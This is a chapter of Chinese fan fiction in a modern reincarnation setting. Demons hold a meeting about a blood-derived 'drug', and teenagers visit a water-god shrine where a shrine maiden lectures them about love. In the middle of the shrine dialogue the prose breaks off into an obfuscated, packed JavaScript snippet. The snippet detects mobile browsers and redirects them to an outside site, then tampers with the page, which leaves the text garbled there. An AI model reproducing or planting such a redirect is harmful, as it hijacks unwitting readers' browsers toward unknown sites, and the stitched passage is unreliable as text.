“玉壶阁下!这不是玉壶阁下嘛?!人家可是一直在惦念您呀!您送我的那个壶卖了个不错的价钱呢!什么时候有空再去我那里玩…” “啊啊啊啊啊——”益鱼仪爆发出一串惨烈的尖叫,“你不要过来啊啊啊——” “不要这样嘛,在地狱里吃了您的脑子也不是人家故意的呀,只是开玩笑而已嘛!”鬼无辜的说,“要不我现在就把脑子挖出来向您赔罪?反正我再长几个都可以~” “童磨——!”无惨大人终于忍无可忍的暴发了,“给我滚到位子上坐好!!” 第…不知道多少次上弦集会,终于在人鬼神和平共处的和谐氛围中正式召开了。 名叫绫木累的小孩居然就是发现了鬼血细胞能修复人体的研究人员,他在全息投影前相当熟练的讲解道: “…第一代针剂因为考虑到安全性的问题,只使用了相当微量的鬼血细胞,目前实验反馈很好,没有发现毒副作用…” “但最近的实验成果显示,如果稍微加大一点鬼血的用量,同时也加入对等的彼岸花成分来作为免疫抑制剂的话,就能对人类的肌肉、骨骼、力量和速度产生强化的作用。以此药理生产出的第二代‘药’,已经投入了黑水公司的合作项目中。稻玉,你那边的反馈如何?“ 狯岳接过了话:“从各方面来看还不错,注射后个体的单兵作战能力至少提高了三倍,服从性也有明显的增强,但战斗结束后会出现短暂的狂躁期,有点接近鬼化初期的状态,因为这个训练场特意修建了隔离区,但如果用在实战中就要考虑到风险问题。“ “你们这是在制造…半鬼化的生物吗?”我皱眉道,“这岂不是相当危险?获得审批手续了吗?” “你说呢?荒川小姐。”绫木累冷淡的说,“我们现在唯一担心的是生产量赶不上来自各国的订单。因为你的青色彼岸花一年只能短暂开放一季,而且很容易枯萎,至今仍未分析出其中到底哪一种成分起到了抑制鬼化的作用,可以说是因为彼岸花的产量过低,导致第一代的‘药’仅能提供给极小范围的人群。但第二代如果想要提高产量,就需要…” “这个我恐怕无能为力。”我摊摊手,“青色彼岸花要想迅速生长开花,要借助我的灵力才行,但我没法长期留在国内,所以我能给出的建议是,你们可以在荒川的水源地附近修建种植场,这样可以借助水中的灵力实现大面积的种植,也就是一年可以生产一批‘药’,但具体的需求量和产量就要你们自己进行计算了。或者你要不要试试克隆?” “彼岸花中无法提取出活性细胞,况且起作用的也不是…” 我正在听他们的技术分析,忽然收到一条童磨的脑内通讯: ——咱们晚上去吃什么呀? 我想了想,回他: ——和牛烧肉怎么样?我知道银座那边有家老店,松坂牛肉做的很不错。 ——可以哦~对啦,我还带了酒呢~ 大概是察觉到我俩在闲聊,无惨大人突然开口: “童磨,你的信徒那边对‘药’的反响如何?” “很受大家欢迎哦,毕竟人类都怕死嘛~”童磨用扇子掩着脸,笑眯眯地说,“另一个好处是,用过‘药’的那些人,在我面前可以很容易的说出真心话哟,所以人家现在可是知道不少内阁的小秘密哦~” “很好。”无惨大人满意的点了点头,“我竞选的事就交给你了。” “放心好啦,人家可从来没有辜负过您的期望呀~” 童磨忽然用他的金扇子在桌上敲了敲,一屋子人的目光都被他吸引过来。 “结束后大家一起来喝一杯怎么样?我带了自己家酒庄的酒,波尔多今年的葡萄很不错哦,还是有机的呢~” 解决了彼岸花的产量和第二代“药”的研发问题,会议差不多也进入了尾声。 我端着一杯酒,望着无惨大人身边那始终未发一言、只在专心收拾文件的高大男人,犹豫半刻终于还是走了过去。 “…严胜先生,我可以敬您一杯酒吗?” 对方静静地看了我一眼,点了点头。 “我…其实有很多话想对您说,但看样子您应该不记得我了。”我笑了笑,“谢谢您曾经对我的教导,我一直都铭记在心,和月之呼吸的剑式一起,不曾有一刻忘记。” “不知您此生的经历是怎样的,是否得到了幸福,但我依然想送您那句话:极乐地狱之端,必有光明。谢谢您,黑死牟大人。” 我仰头将杯中的红酒一饮而尽。 却听见一个低沉而富有磁性的声音淡淡的说: “云雾皆散,心中唯有明月。” 我震惊地看着那名为严胜的男人,有生以来第一次,在他清冷傲然的眼神里,看到了一线笑意。 “你的剑技,不知荒废了没有?” 眼泪夺眶而出,我大声说:“没有!有空我还要去找您切磋!” 几天后的一个下午。 车子停在神奈川县藤野町一处低矮的楼房前。 负责接待我们的是一位衣着朴素的老师,大概看到来的是辆如此扎眼的红色跑车,脸上流露出一丝困惑。 毕竟从东京跑来这么偏僻的孤儿院领养孩子的人应该不多。 刚走进操场,就看一群孩子围成个圈,不时发出叫好和尖叫声,那位老师皱了皱眉,快步走过去厉声喊道: “你怎么又在打架?!这已经是这个月第几次了?!” 衣服被扯的乱七八糟的男孩抹了把脸上的血,眼神像头恶狼一样盯着地上比自己高出一头但正在嗷嗷大哭的对手。 “不过是打你几下而已,嚎什么呀?”那最多不过十岁左右的男孩面庞苍白瘦削,长了一头乱糟糟的、海藻似的黑发,说话的语气却相当阴森,“再敢碰我妹妹一根指头,我就剁了你的手。” “你这孩子!”老师走上去抓住他的胳膊,“给我去禁闭室反省一下!” 男孩满不在乎的擦了擦滴下来的鼻血,低下头正要跟着走,不知道从哪冲出个白色头发的小女孩,拼命拦在他面前。 “老师,不是哥哥的错!是俊介他先掐我的!” “不要找借口,打架就是打架!”老师转过身对我们歉意的解释道,“抱歉,让你们见笑了,这兄妹俩的父亲因为杀人蹲了监狱,母亲也酗酒而死,所以一直存在行为问题,如果二位有兴趣领养孩子的话,可以看看其他听话的孩子…先生,请您别靠近那孩子,他有时会发疯咬人的!” “诶呀呀,这是怎么啦?好可怜呀~” 童磨走到那男孩面前蹲下,语气如丝绸般轻柔: “不论转世多少次都要做兄妹,但看起来你们的运气总是不太好呐,对吧,妓夫太郎?” 似乎被唤醒了什么遥远的记忆,男孩暗淡无光的眼睛突然睁大了。 “你是…童磨大人?” “哇啊啊啊,是童磨大人!” 白头发的小女孩张牙舞爪的扑了过来,一把抓住某只鬼的风衣大哭起来。 “你怎么才来呀?我和哥哥等了你好久啊啊啊——” “小梅,你光记得童磨大人,是把我忘了吗?”我双手叉腰,“你的鲤鱼池塘还要不要了?我可刚认识个很会养鲤鱼的哥哥哦?” “水神大人!哥哥!是我梦里那个水神大人!我就说是真的吧!”小梅边抹眼泪边说,“呜呜…后来发生了什么事呀?你们怎么会在这里啊?” 我微笑着将她抱了起来。 “后来啊,可发生了好多的事哦,我们回家吧,我慢慢讲给小梅听。” 回家,我们回家,回到大洋彼岸的家,回到心中的家。 这一次,一定会守护你们好好长大。 end. 107. 现代番外篇:命运之河,墨染之樱 十八岁少女我妻灯子最近遇到了一件烦心事。 其实是全日本的女高中生几乎都会遇到的问题,那就是,到底要不要和喜欢的男生考同一间学校? 距离心仪大学的入学考试还有三个月,灯子一向是个有主见的姑娘,早早就确定了自己的志向是学法律,将来当检察官,为此也一直非常努力,但她从初中就暗恋的那个家伙、在学校有“初恋怪盗”外号的灶门彼方,比她的成绩还要强,据说是一定要考东大的。灯子自己虽然也向往东大,但算了算日常的分数大概只够京都大学,那就要和彼方远隔千山万水,只有假期才能见面了。 关键在于,两人虽然算是青梅竹马,日常关系也很好,但灶门彼方这个人…怎么说呢,与其叫做“初恋怪盗”,不如说叫“初恋杀手”比较合适。彼方是那种一看就严肃认真内敛的人,因为长得帅,在学校被无数女生表白过,但从来也没表露过自己真实的心意,哪怕对一直暗恋他的灯子也一样。 灯子自己不仅成绩好,又是学校剑道部的部长,如果告白被拒,岂不是太丢脸了?但如果两人去了不同的大学,以后的人生很可能就没有交点了,况且大学才是恋爱的乐园,想到彼方在新的大学里可能会交女朋友,灯子就觉得心里空荡荡的。 吃午餐时,她把这些烦心事跟好友小春一说,小春转了转眼珠,冒出来一句: “你…要不去神社许个愿试试?” 灯子差点把便当盒摔了:“什么啊,这话听着简直像我奶奶才会说的,而且离过年还早着呢,也不是拜神的时候啊!” “看来你还不知道啊…那间神社最近很出名的。”小春神秘兮兮地说,“年初我有学姐去试过,真的很灵验哦。不光是恋爱,据说学业什么的许愿也很管用,还可以抽水签哦。” 灯子听的糊里糊涂,“什么签?” “因为供奉的是一位水神,那家神社里有泉水环绕,如果把空白的签纸放进水里,上面就会显示出签文来…” “我说小春啊…”灯子无奈的说,“这么简单的科学原理你都不懂吗?只要隔着干的纸在半湿的纸上写字,再把湿纸晾干,都能做成你说的那种效果好吗?” “…总之是真的很灵啦!爷爷奶奶在的时候,我家每年都要去的,因为大地震时…” “啊,你说的是那个地方啊?”灯子忽然想了起来,“就是关东大地震时救过你爷爷命的那间神社吗?” “对呀对呀,我跟你说过吧?当时我爷爷发高烧快死了,曾祖母抱着他到处找水喝,是那间神社的巫女大人救了他们。不过那里一直没什么名气啦,是这几年突然火起来的,过年时连政界的人都会去呢,听说那里的泉水喝了能祛除病气。对了,这个月底正赶上夏越大祓祭,能看到难得一见的水神神乐舞,还有三天的夜市。”小春越说越兴奋,“要不我们一起去吧?” “下个月要模拟考了,我回去跟我弟商量下,他那个学习成绩,没准真该去求神明保佑一下。”灯子叹了口气,“明天我给你答复吧。” “我知道,奏,奏素辣家方川神社嘛!” 我妻善照塞了满满一嘴棉花糖,含糊不清的说。 灯子头冒青筋的看着这个比她小一岁的弟弟,明明也已经是高中生了,日常行为总让人怀疑他才上小学,成绩一塌糊涂不说,整天就喜欢抱着曾祖父写的扯淡小说看,那小说光听名字都土的掉渣——《善逸传》,不知道的还以为是战国时代的什么玩意。 于是做姐姐的终于忍不住行使了家法——灯子抄起一本练习册,朝着弟弟的脑袋拍了下去。 “跟你说过多少次了,不要在吃东西时说话!” 善照捂着脑袋把棉花糖咽了下去,噎的直翻白眼,满脸怨念地说: “姐你讲不讲理?是你先问我的啊,我好心告诉你你还打我,不是说咱家的女孩子都是温柔体贴的类型吗?怎么到你这里就成了变异体…” “我打你还不是为了你好?你看看你上学期有多少门不及格?这样你能考什么好大学?整天就知道看小说…” “这跟吃东西有什么关系啊…”善照嘟囔,不过下一秒就被呛了回去。 “你老是这副样子,才找不到女朋友吧!连吃个饭都要盯着快餐店老板娘的胸部看,还被人家老公扔菜刀,丢不丢人啊你!” “都说了是误会啊,那家的老板就是超凶的,不过老板娘是真漂亮嘿嘿嘿…” 灯子努力克制住想把弟弟从窗户扔出去的冲动,没好气的说:“停,先把刚刚问你的事给我说清楚。” “一看姐你就是不上网…那家荒川神社在网上很有名啊,一年中只开放两次,每次三天,就是年中的夏越大祓和年末的新年祈福,都要提前预约才进得去,但听说许愿超灵,连名演员和参议院的人都在门口被拍到过,据说里面供奉的是掌管荒川的神,所以泉水在大地震时都没断过。”善照说起这种神秘八卦就眉飞色舞起来,“但这几年出名的原因是传说有不少人在那里求姻缘也都灵验了,说是只要对着里面的御神木许愿,恋爱就一定会有好结果…” “那个神社的夏越大祓是什么时间?” “就是六月底的土曜日啊。”善照挠挠头,“姐你不会…是为了灶门彼方那小子吧?” “我愿意!你管得着吗?”灯子气呼呼地说,“你要敢告诉他,看我怎么收拾你!” 夏越大祓祭是各大神社的传统项目,通常都是在六月的最后一天举行,目的是帮人们以祓禊的方法祓除病气和厄运,净化身心,保佑平安度夏。到了周末这天,灯子吃过早饭就急急忙忙拽上善照出了门,在路口遇到了同样住在附近的小春,然后几个人就开始等一贯爱迟到的灶门炭彦。本来灯子不想带炭彦,因为这孩子因为喜欢睡懒觉,永远会在上课铃响的最后一分钟冲进学校。而且他是彼方的弟弟,感觉怎么都会说漏嘴的样子。不过禁不住善照一再哀求,加上炭彦也很想去那边的自然公园看动物,灯子只能耐着性子等了半天,终于等来了一路狂奔而来的炭彦。 “抱歉抱歉,”这个少年的笑容永远朝气满满,“让大家久等了!” 炭彦是个天生的运动健将,跑酷达人,翻墙跳窗都是小意思,甚至从几层高的地方都能灵巧的闪转腾挪平安落地,为了这个灶门家没少接到警局的告状电话,说他家的小儿子过于不重视个人安全,经常在众目睽睽之下做出一些危险举动,为此被邻居整整举报过七次,给社区造成了相当恶劣的影响。 灯子家有四个孩子,身为长姐的她早就习惯了照顾这群调皮捣蛋的弟弟妹妹,对于炭彦,她倒觉得比自己那个不成器的弟弟多少靠谱一点。不过不成器的弟弟这次意外的靠谱,在一边得意洋洋地炫耀道: “一下就在网上抢到了四张入场券,我厉害吧?” “还要靠抢的吗?”炭彦惊讶地说,“什么神社这么火?” “你不懂,今年的夏越大祓据说是按江户时代的传统举行,由巫女来跳神乐舞,也叫荒之祭舞,听说会有神迹显现哦。” “…善照,你整天能不这么神神叨叨的吗?不是轮回转世就是神迹,你真是现代日本的高中生吗?” “灯子姐,我奶奶也说过,轮回转世一定是存在的,那些和恶鬼战斗过的人,现在一定在某个地方和喜欢的人幸福的生活在一起了。”炭彦认真的说,“我哥也信,他就是嘴上不承认。” “神迹这东西我也相信哦,”小春在一边帮腔,“关东大地震的时候…” “啊啊啊我知道了啦!我为什么有你们这么一群反科学的朋友啊!” 在灯子绝望的仰天长叹中,几人登上了去往荒川线的地下铁。 荒川神社位于自然公园内的半山上,要走一段长长的、上山的参道才能到达。灯子惊讶的发现来参加大祓祭的人里果然出现了一些报纸上才见过的名流,大概是这几年经济不好,大家都开始求神拜佛了? 不过当神官们开始念诵表文请神的时候,那种肃穆而庄严的气氛还是令一贯以“讲求科学的现代高中生”自居的灯子感到了某种震撼。祓禊的步骤和以前她在电视上见过的差不多,都是请神、供奉、抬着装有替身纸偶的箱子穿过茅轮这些,但有所不同的是,别家供神都是用夏季的新鲜瓜果,这家神社的神官捧出来的则是“神无月”——一种类似红豆羊羹的和果子,以及鲷鱼烧和花见团子,当看到又有一位神官捧着一盘蜂蜜蛋糕出场时,灯子终于忍不住拽了拽身边的善照,小声说: “为什么都是点心啊?” “我哪知道?”善照看起来也挺纳闷,“大概是这位水神大人格外喜欢吃甜的?” 两人正在闲聊的工夫,神官们完成了请神的仪式,鼓声和笛声响了起来,一名身材高挑的巫女款款走进了神乐殿。 善照的眼睛直了。 “姐你快看,是…是个大美女啊!” 一句话引得周围的人纷纷侧目。灯子觉得脸都热了,赶紧狠狠拽了下流口水的弟弟。 “善照!哪有你这么没礼貌的!” 不过她自己也好奇的往台上看去,身为女性,倒是不会像弟弟那样露出色眯眯的眼神,但也真心觉得那位跳舞的巫女长得十分漂亮,不,与其说是漂亮,不如说是带有奇特的古典气质,就连神乐的舞步中都透出某种高贵而凛然的气势。 “真是…第一次看到挥舞神乐铃好像挥刀一样的女孩子啊…”灯子痴痴地说,“好帅…” “因为灯子姐你是剑道部的吧…不过这么说的话,确实很像哎…”一旁的炭彦也呆呆的插嘴,“而且看着年纪比我们大不了多少,跳的可真好啊。” “姐,姐,完事我能去要个联系方式吗?” “拜托你了善照,别做那种丢人现眼的事啊!”灯子又想踹弟弟一脚了,“再说人家看样子已经是大学生了吧,你确定她没有男朋友?” “善照,这种神社的巫女好像是只能招赘,不能嫁人的。”炭彦插嘴,“你确定你妈妈愿意你入赘别人家?” “入赘就入赘,我又不在乎…哎?还真下雨啦?” 灯子感到鼻尖一凉,伴随着神乐舞的鼓点,下起了一场不大不小的雨。身边的人在雨中纷纷双手合十祈祷起来,她忍不住小声嘀咕: “这也太神奇了吧…” “跟你说了,很灵的嘛。”小春小声说,“我奶奶说过,因为供奉的是水神,也是掌管降雨的龙神,所以这里在夏越大祓期间经常下雨,据说这是带有神力的雨水,淋雨本身就是净化身心了。” “这是六月底,下雨是正常的。”灯子不服气地说,“不过没看到传说中的御神木啊。” “那个在神社的后山啦,”小春说,“是一棵据说活了百年以上的樱花树哦。” “开玩笑吧?樱树活不了上百年的!” 神乐殿前的人群突然发出一阵不约而同的惊叹声,伴随着神乐殿内的最后三下鼓声,雨水戛然而止,一道彩虹出现在神社上方的天空中。 “好兆头哎!”小春高兴的说,“咱们快去抽签吧。” 不过等真的抽完签,灯子却高兴不起来了。学业运倒是大吉,恋爱那栏却写了个“末吉”,怎么看怎么刺眼。 “不好的签留在神社里就好,不用太介意啦。” 小春反过来安慰她,“去试试找御神木许愿吧,祈求神明保佑彼方君在毕业前向你表白?” “谁稀罕他表白啊!”灯子嚷嚷,“那种笨蛋…我也是笨蛋才会跟你们来这种地方许愿!” 事实证明今天灯子的运气确实不怎么好,当几人被神社的工作人员告知“后山今天不开放,请明天再来”时,善照忍不住开始吐槽。 “肯定是我姐在心里说了神明的坏话,才这么倒霉的。” “我妻善照!你找揍吗?!” 灯子自己也委屈的不行,大老远跑来一趟,抽了个难看的“末吉”不说,还许不了愿,这下还不如不来。 “善照,不要那样说灯子姐啊,她都要哭啦。”炭彦出了个主意,“我看了地图,这个后山…其实可以从荒川自然公园的另一个入口过去,只要翻个墙,再爬一段山就可以了。” “什么?翻墙?被人抓到就惨了!”善照把脑袋摇的像拨浪鼓,“你以为谁都有你的运动细胞啊?我肯定会摔断腿的!” 小春表示支持:“后山那边没人会去啦,就算被抓到,跟人家好好解释就可以了,这家神社的人都很好哦。” 于是几人原路下山,又找到了炭彦说的入口,沿着小路重新爬上山后,善照就瘫在地上怎么也不肯动了。 “我脚断了!真的断啦!”他抱着腿大声哼唧,“炭彦,你小子要害死我了!我不管,我一步也走不动了!” 炭彦依然是一副超有元气的样子:“善照,你不是特别羡慕你曾祖父写的书里那些杀鬼的英雄吗?现在这点苦肯定比不上他们当年经受过的考验,前面马上就到了,现在放弃不是太可惜了吗?” “炭彦…你这话说的好像我家那位大表哥…小时候他每次早上拖我出去跑步都要这么说一遍…你大概才是我妈亲生的…” “你说早云表哥?好久没见他了啊,我超想念他煮的拉面。” 灯子满脸黑线:“拜托了炭彦,你忘了那年他放暑假来我家住,给我们煮了整整一个月拉面的事了?我和善照都快吃吐了…” 炭彦满脸都是“我同情你们”的表情。 “他现在在警视厅工作?算你家最有出息的孩子了吧?善照,你妈妈是不是还老是唠叨‘看看人家早云‘?” “求你别提他了,”善照哭唧唧地说,“他比我姐可怕多了,简直是我的童年阴影…” “喂,你还走不走了?”灯子踢了他一脚,“我们可要走了。” “别啊,姐你们等等我啊呜呜呜…” 他们爬上了一处向阳的山坡,山坡顶上,真的生长着一棵枝繁叶茂的樱花树。灯子从没见过那么大的垂枝樱,长满油绿叶片的树枝在草地上投下一片阴影。善照第一个跑过去,扑倒在了那片荫凉中。 “啊,这是天堂吗?好凉快!” “这里能看到荒川哦!”小春指着远处喊道。 灯子随之望去,果然能看到荒川宽阔的蓝色河面,在阳光下反射着点点金光。 “好漂亮…”她由衷地感叹道。“从来没从高处看过荒川呢,果然比隅田川要宽多了呀。” “因为隅田川只是荒川的一条支流呀。” 忽然从头顶某个地方悠悠传来个女性的声音。善照吓得蹦了起来。 “谁啊?!” 灯子也紧张起来,如果是工作人员的话,被抓住怎么都有些难堪吧?她拉住了弟弟,四处寻找说话的人。 “哎?”小春惊讶的说,“好像是…刚刚那个跳神乐舞的巫女?“ 几人顺着小春的目光看去,竟看到那棵樱花树高处的树枝上,坐着一名穿巫女服的少女,正低头注视着他们,脸上露出了饶有兴致的微笑。 灯子在一瞬间被说不清的感觉笼罩住了,不知道为什么,这名最多不过十八九岁的少女,明明看起来非常温柔,身上却带有隐隐的压迫感,让人觉得美丽,又莫名的畏惧。 难道就是所谓的“气场”?她默默的想。 “抱歉,”还是炭彦不好意思的开了口,“我们知道后山这边今天不开放,是我带他们从小路爬上来的。因为听说对着这棵御神木许愿很灵,所以就想来试试。打扰您了,我们马上就走。” “没关系呀,你们是从东京市内来的吧?” 巫女伏在樱树的树枝上,长长的黑发像水流一样垂落下来,脸上浮现出柔和的微笑,“好不容易来了,失望而归的话岂不是太可惜了。你们就当我不存在好了,该做什么做什么吧。” 她的声音似乎有着令人安心的作用,灯子紧绷的神经也跟着这句话放松下来。几个人开始轮流走到树前默默许愿,轮到最后的善照时,他扭扭捏捏地走了过去。 “那个…小姐,能给我留个你的联系方式吗?你在哪所大学念书呀?我叫我妻善照,住在…” “善照!”灯子冲过去捂住他的嘴巴,“太过分了啊你!” “没关系哦,”巫女又笑了,“但我平时不住在国内,只有祭祀时才回来。所以可能没法留给你联系方式啦。” “这,这样啊…”善照有点失望的说,“那请问…” 灯子赶紧抢过弟弟的话:“请问您的神乐舞是家里教的吗?跳的真好啊!” “啊,谢谢夸奖。”巫女眨了眨眼睛,“第一次听到有外人夸我跳的好呢。没错,是家传的,不过练习了很久哦。” “超有气势呀!感觉动作就好像在挥刀一样!”灯子兴奋的说,“您是不是也学过剑道?” “对,我有位很棒的剑道老师。”巫女微笑起来,“为表感谢,请你们吃点心吧。就在那边,不嫌弃的话请尝尝吧,我们神社的和果子和蛋糕都做的很好吃哦!” 灯子发现树下一角还真放着一只精美的高脚漆盘,里面是码放的整整齐齐的一盘点心,就是那漆盘看起来怎么都有些眼熟… “这,这好像是刚刚装供品的盘子…” “怎么啦?供品嘛,就是给大家吃的,浪费了多可惜啊。”巫女不知从哪里拿出一块蜂蜜蛋糕,自己先咬了一口,“好吃!你们别客气,每样都尝尝吧。” 几人都没有吃午饭,也确实有些饿了,于是就真的围坐在树下开始吃点心。 “所以巫女小姐,这棵树是真的许愿很灵吗?”灯子边吃边说。 只听巫女小姐叹了口气。 “其实我也搞不懂…现在的高中生都这么迷信吗?” “哎?” “这里明明是水神的神社吧,为什么你们都来这里求恋爱运啊?” “哎哎?”灯子瞪大了眼睛,“那为什么…善照!你又是从哪里看到的小道消息?!” “网上都这么说啊!”善照郁闷的说,“说是对着御神木许愿,恋爱就能有好的结果…” 巫女的神情变得严肃起来。 “这也太不负责了。恋爱这种事,怎么能说的如此随随便便?” “唉?不…不是这样吗?” “当然不是了。”巫女抱着胳膊,一副“为什么你们如此无知”的样子。 “恋爱是需要付出的,光是许愿可不行呀!” “尤其是女孩子,要勇敢一点,不能光等着男人表白。那样的话,如果对方是个脑子有病的笨蛋,岂不是一辈子都等不来想要的恋爱?” 灯子愣愣的点了点头,“说的有道理呢…” “还有,”巫女的语气稍微柔和了一点,“很多事自己也要考虑清楚才行。你真的了解对方的一切吗?哪怕对方有很可怕的缺点,你也能接受吗?要知道,爱是理解,是包容,也是尊重,如果根本不了解、也无法接受对方的本来面貌,只是嘴上说说的话,是没法称为‘爱情’的哦。” “可是…怎么才能知道对方真实的想法呢?”灯子为难的说,“尤其如果是暗恋对象的话…感觉好难问出口啊。” “那就不要问。如果真的喜欢对方,就去为他做你力所能及的事好了。这样的话,过段时间自然就能看出对方的真实心意了。当然,也不能排除遇到人渣的可能性,所以恋爱就是一场赌博而已。” “什…什么?赌博?”灯子感觉自己受到了暴击,“那如果赌输了,不会伤透心吗?” “不会哦。”巫女干脆的说。 “爱一个人本来就是自己心甘情愿的事吧,如果付出了多少,就想着从对方身上得到多少回报,那样斤斤计较岂不是太累了?就算得不到你想要的回应,只要自己痛快的爱过了,就没有什么可后悔的。再说你生于世上的意义本来也不是为了一场恋爱呀,总还有别的事可做吧?男人有什么了不起的,一个不行,就换一个好了。但女孩子要有自己的事业,不能做笼子里的金丝雀哦。” “我也是这么想的!”灯子疯狂点头,“我想学法律,以后去做检查官!” “很不错的志向,加油!”巫女相当认真的鼓励道。 “等,等等…”小春在一边怯怯地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252384|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,“所以说这里能保佑学业进步,是真的吗?” 巫女小姐翻了个大大的白眼。 “这就更离谱了!好成绩明明是要拼命努力才能获得的吧!自己不用功,哪个神明也保佑不了你啊!” “明…明白了…” “特别是你。”巫女小姐突然看向了善照,“整天都在看小说的话,考试是一定会不及格的,大学录取信不会自己掉到你头上哦?” 这下不光是善照,连灯子也傻眼了。 “这…这…您…您是怎么知道的?” “我这个人天生有灵感,你们没听说过这种能力吗?”巫女神秘的笑了笑,“否则也不会当巫女了嘛。” “通灵少女吗?”善照兴奋的语无伦次,“竟然真的存在?原来小说里说的是真的?那巫女小姐,您能不能告诉我,世上到底有没有轮回转世啊?” 巫女望着他们沉默了片刻,点了点头。 “当然有。” “姐,我就说是真的吧!”善照眼睛都亮了,“那些为了和平而牺牲自己,和恶鬼豁出性命死战的人,一定已经在现代社会过上幸福的生活了!” “我奶奶以前也常这么说,”炭彦认真的说,“那些死去的人,一定已经和自己喜欢的人幸福的生活在一起了。不过我还是很好奇,曾祖父和曾祖母他们究竟是什么样的人呢,他们爱吃什么东西,又喜欢什么颜色呢?好羡慕那些知道的人啊…” “这个还真不知道啊,毕竟不太熟…” “哎?您说什么?” “没什么。”巫女微笑道,“你应该非常像你的曾祖父,也许他的灵魂有一部分在你身上转世重生了也说不定呢?” “这样吗?这样想的话,就一点也不会觉得悲伤和孤单了呢…”炭彦感慨地说,随后像想起了什么似的说道,“那鬼呢?他们也会转世吗?希望他们这辈子不会再变成鬼了…” 善照打断了他:“别胡说了,炭彦,鬼都会下地狱啦,他们吃过那么多人,神明大人是不会原谅他们的!” 巫女眨了眨眼睛,不知道为什么,灯子在她的眼中似乎看到了一丝狡黠的笑意。 “会原谅的哦。”她说。 “在神明眼里,鬼和人类同样都是生命,就像森林里的狼和鹿,海里的鲨鱼和小鱼一样,他们的生命,都一样宝贵,一样特别。” 说到这里,巫女脸上的笑意更明显了:“鬼的话,或许也已经和喜欢的人一起过上幸福的生活了呢。” “哎哎?这样也行吗?”善照瞠目结舌。 “有什么不行的?”巫女小姐瞬间恢复了一本正经的语气,“不过世上根本没有鬼啦,作为现代高中生,不要那么迷信呀!” “善照,我就说你整天看曾祖父那些扯淡小说看到脑袋出问题了吧,连巫女小姐都这么说!” “我觉得,也许那样也不错。” 名为炭彦的少年忽然轻声说: “我常常想,每个人的一生都是一个故事。一百年前,两百年前,甚至千年之前,也是有多少人,就有多少个故事…” “也许那些鬼们,也有属于自己的、别人所不知道的故事吧。” 巫女长久地凝视着他,最终笑着点了点头。 “是啊,活在世上的每个人,都有自己独一无二的故事。” “你真是个温柔的孩子,谢谢你,炭…彦。” “咦,巫女小姐知道我的名字吗?”炭彦惊讶地说。 “当然了,你们都是在网上抢的入场券吧?我们这边会有登记的哦。”巫女摆出一副理所当然的样子,“忘了说,敝姓荒川,是这间神社的主理人。” “好厉害…”灯子睁大了眼睛,“所以荒川小姐是继承了一座神社吗?” “对呀,家族产业,没办法。” 巫女拎起裙摆,从树上利索的一跃而下。 “作为见面礼,这些送给你们。”她从袖子里掏出了几枚御守,“虽然恋爱什么的需要你们自己努力,但我家的御守是真的可以净化病气和退治恶灵哦,愿荒川之神保佑大家平安度夏。” “啊,真是太感谢您了!”灯子开心的说,“我回去一定会好好努力,争取考上心仪的大学!” “好好加油吧,小姑娘。”巫女抬头看了看天色,“啊,我也该下班啦,男朋友大概已经来接我了,咱们就一起下山吧。” 听到这话,善照整个人都摇摇欲坠了。 “什…什么…已经…有男朋友了吗?” 巫女奇怪的看了他一眼,说道: “你这孩子真会说话,我都这把年纪了,还能没男朋友吗?” 这话听起来有点不对劲,但直到沿着参道下了山,灯子也没琢磨出到底是哪里不对劲。 “那是谁啊?”小春忽然说。 在参道终点的红色鸟居旁,站着一个人。 是个穿着相当考究的米色风衣的男人,个子很高,能看出身材绝佳,却打着一把阳伞,还戴着骚包的浅紫色墨镜,留着半长不短的头发,看上去怎么都…有点不正经。 他朝那位巫女欢快地挥了挥手,笑容无比灿烂。 “小染,怎么才下班呀?人家都等了好久啦~哇啊,有可爱的女孩子吗?” “让你久等啦。”巫女笑道,“这几位是我新认识的朋友哦,这位是灯子小姐,这个孩子叫善照,这个是炭彦,这位小姐是…” “小春,你是叫小春,对吗?” 打着伞的男人问道,刚刚轻快愉悦的语气,忽然变得温和而沉稳,带上了某种奇特的蛊惑感。 “是,我是叫小春。”小春红着脸说,“很高兴认识您。” “这次也是个好孩子呢。” 说出这样一句莫名其妙的话之后,穿风衣的男人亲昵地揽过巫女的肩膀,走向远处一辆红色的跑车,还不忘回头留下一个狐狸般魅惑的笑。 “有空去我们家里玩吧~随时欢迎哦~” “是外国人吗?”灯子愣愣的说,“头发是纯白色呢…” “那辆车好像是法拉利哎…”善照哀叹,“果然漂亮的女孩子都无一例外的找了有钱男朋友吗?” “这么说的话,在这家神社许愿求恋爱运果然是对的啊!”小春神秘兮兮地说,“毕竟连这里的巫女都找到了有钱又帅的男朋友呢。” “说的有道理哎!”灯子的表情变得无比坚定,“我决定了,回去就跟彼方表白!” “噗,姐你要不要这么夸张啊…” 身后传来几下鸣笛声,灯子回过头去,看见一辆挂着警局牌照的黑色丰田车停在了路边,有个梳着奇怪小辫子的年轻男子从里面探出头来。 “灯子,你们几个都上车吧!” 灯子还没说话,善照的脸已经蒙上了一层黑气。 “怎、怎么是你这家伙?你什么时候回来的?” “哎?善照,你妈妈没告诉你吗?我被警视厅委派查个案子,已经调到你们区啦,租的房子就在你家旁边,听说你们出来玩,顺道就来接你们了。”年轻人挠了挠头,“怎么搞的,看见我大家都不开心吗?” “早云哥,好久不见啦。”炭彦笑道,“善照刚刚还在跟我们说小时候你拉他跑步的事呢。” “哈哈,对啊!炭彦长高了不少啊!善照,你肯定没好好锻炼身体!明天开始每天早上跟我一起跑五公里吧,再加三百个俯卧撑,保证你一年之内找到女朋友!” “得了吧,表哥。”灯子凉凉的说,“你到现在也没找到女朋友吧?除了煮拉面别的什么菜都不会做,一年有三百六十天都在警局加班,你就不怕过劳死吗?” “谁说的?我现在会做咖喱饭了!” 几个少年面面相觑,都默默叹了口气。 今天也是普通高中生们励志的一天呢。 “真想不到啊,那几个孩子转世了也还是好朋友呐~” “意料之中的事吧,人和人的缘分哪那么容易断绝?” 我掏出包里的口红,对着镜子边补妆边说。 